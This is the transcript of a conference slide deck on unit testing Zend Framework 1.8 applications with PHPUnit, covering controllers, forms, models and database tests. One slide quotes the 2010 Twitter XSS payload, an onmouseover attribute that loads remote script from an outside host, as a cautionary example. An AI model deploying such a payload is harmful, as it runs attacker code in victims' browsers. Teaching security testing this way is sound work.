Unit testing after Zend Framework 1.8

Post on 26-Aug-2014

36.018 views 3 download

Tags:

description

Zend Framework 1.8 changed internally, making it easier to fully test your controllers, forms, models and datatabase integration with PHPUnit.

Transcript of Unit testing after Zend Framework 1.8

Unit Testing after ZF 1.8Michelangelo van Dam

ZendCon 2010, Santa Clara, CA (USA)

Michelangelo van Dam• Independent Consultant

• Zend Certified Engineer (ZCE)

• President of PHPBenelux

This session

What has changed with ZF 1.8 ?How do we set up our environment ?

How are we testing controllers ?How are we testing forms ?

How are we testing models ?

New to unit testing ?

phpunit.de

http://www.phpunit.de

Matthew Weier O’Phinney

http://www.slideshare.net/weierophinney/testing-zend-framework-applications

Zend Framework 1.8

Birth of Zend_Application

• bootstrapping an “app”• works the same for any environment• resources through methods (no registry)• clean separation of tests- unit tests- controller tests- integration tests (db, web services, …)

Types of tests

Unit Testing

• smallest functional code snippet (unit)- function or class method• aims to challenge logic- proving A + B gives C (and not D)• helpful for refactoring• essential for bug fixing (is it really a bug ?)• TDD results in better code• higher confidence for developers -> managers

Controller Testing

• tests your (ZF) app- is this url linked to this controller ?• detects early errors- on front-end (route/page not found)- on back-end (database changed, service down, …)• tests passing back and forth of params• form validation and filtering• security testing (XSS, SQL injection, …)

Database Testing

• tests the functionality of your database- referred to as “integration testing”• checks functionality- CRUD- stored procedures- triggers and constraints• verifies no mystery data changes happen- UTF-8 in = UTF-8 out

Application Testing

Setting things up

phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite>

<!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>

<logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging></phpunit>

TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');

// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();

TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');

// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();

ControllerTestCase.php<?phprequire_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';

abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase{ protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module }}

Directory Strategy/application /configs /controllers /forms /models /modules /guestbook /apis /controllers /forms /models /views /helpers /filters /scripts /views /helpers /filters /scripts/library/public/tests

/tests /application /controllers /forms /models /modules /guestbook /apis /controllers /forms /models

Testing Controllers

Homepage testing<?php// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';

class IndexControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); }}

Running the tests

testdox.html

Code coverage

Testing Forms

Guestbook form

fullName

emailAddress

website

comment

submit

Simple comment form<?phpclass Application_Form_Comment extends Zend_Form{ public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); }}

CommentController<?php

class CommentController extends Zend_Controller_Action{ protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); }

public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; }}

Comment processing<?php

class CommentController extends Zend_Controller_Action{ …

public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; }}

Views<!-- file: application/views/scripts/comment/index.phtml -->

<?php echo $this->form ?>

<!-- file: application/views/scripts/comment/send-comment.phtml --><dl><?php if (isset ($this->values['website'])): ?><dt id="fullName"><a href="<?php echo $this->escape($this->values['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></dt><?php else: ?><dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt><?php endif; ?><dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd></dl>

The Form

Comment processed

And now… testing

Starting simple<?php

// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';

class CommentControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); $this->assertQueryCount('textarea', 1); }}

$this->assertQueryCount('form', 1);$this->assertQueryCount('input[type="text"]', 3);$this->assertQueryCount('textarea', 1);

GET request = index ?public function testSubmitFailsWhenNotPost()

{ $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}

Can we submit our form ?public function testCanWeSubmitOurForm(){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => 'test@example.com', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment');

$this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test');}

All other cases ?/** * @dataProvider wrongDataProvider */public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}

wrongDataProviderpublic function wrongDataProvider()

{ return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', 'test@example.com', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', 'test@example.com', str_repeat('a', 50001)), );}

Running the tests

Our testdox.html

Code Coverage

Practical use

September 21, 2010

The exploit

http://t.co/@”style=”font-size:999999999999px; ”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/

http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/

Unit Testing (models)

Guestbook Models

Testing models

• uses core PHPUnit_Framework_TestCase class• tests your business logic !• can run independent from other tests• model testing !== database testing- model testing tests the logic in your objects- database testing tests the data storage

Model setUp/tearDown<?phprequire_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase{ protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } …}

Simple testspublic function testGuestBookIsEmptyAtConstruct(){ $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb));}public function testGuestbookAddsEntry(){ $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('test@example.com') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb));}

GuestbookEntry tests…public function gbEntryProvider(){ return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => 'test@example.com', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => 'testmanager@example.com', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), );}

/** * @dataProvider gbEntryProvider * @param $data */public function testEntryCanBePopulatedAtConstruct($data){ $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray());}…

Running the tests

Our textdox.html

Code Coverage

Database Testing

Database Testing

• integration testing- seeing records are getting updated- data models behave as expected- data doesn't change encoding (UTF-8 to Latin1)• database behaviour testing- CRUD- stored procedures- triggers- master/slave - cluster- sharding

Caveats

• database should be reset in a “known state”- no influence from other tests• system failures cause the test to fail- connection problems• unpredictable data fields or types- auto increment fields- date fields w/ CURRENT_TIMESTAMP

Converting modelTest

Model => database<?php

require_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase{…}

Becomes

<?phprequire_once TEST_PATH . '/DatabaseTestCase.php';class Application_Model_GuestbookEntryTest extends DatabaseTestCase{…}

DatabaseTestCase.php<?php

require_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';

abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase{ private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } …

DatabaseTestCase.php (2) …

public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); }}

_files/initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?>

<dataset> <gbentry id="1" fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan… liking this very much"/> …</dataset>

A simple DB testpublic function testNewEntryPopulatesDatabase()

{ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds);}

location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml

Running the tests

Our textdox.html

CodeCoverage

Changing recordspublic function testNewEntryPopulatesDatabase(){ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds );}

Expected resultset<?xml version="1.0" encoding="UTF-8"?><dataset> <gbentry fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="testmanager@example.com" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/></dataset>

location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml

Running the tests

The testdox.html

CodeCoverage

Testing strategies

Desire vs Reality

• desire- +70% code coverage- test driven development- clean separation of tests

• reality- test what counts first (business logic)- discover the “unknowns” and test them- combine unit tests with integration tests

Automation

• using a CI system- continuous running your tests- reports immediately when failure- provides extra information‣ copy/paste detection‣ mess detection &dependency calculations‣ lines of code‣ code coverage‣ story board and test documentation‣ …

• http://slideshare.net/DragonBe/unit-testing-after-zf-18• http://github.com/DragonBe/zfunittest

• http://twitter.com/DragonBe• http://facebook.com/DragonBe

• http://joind.in/2243

Questions